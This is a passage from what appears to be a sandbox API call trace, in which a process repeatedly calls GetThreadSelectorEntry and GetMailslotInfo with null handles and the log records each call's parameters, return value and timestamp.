lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.583] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.584] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.584] 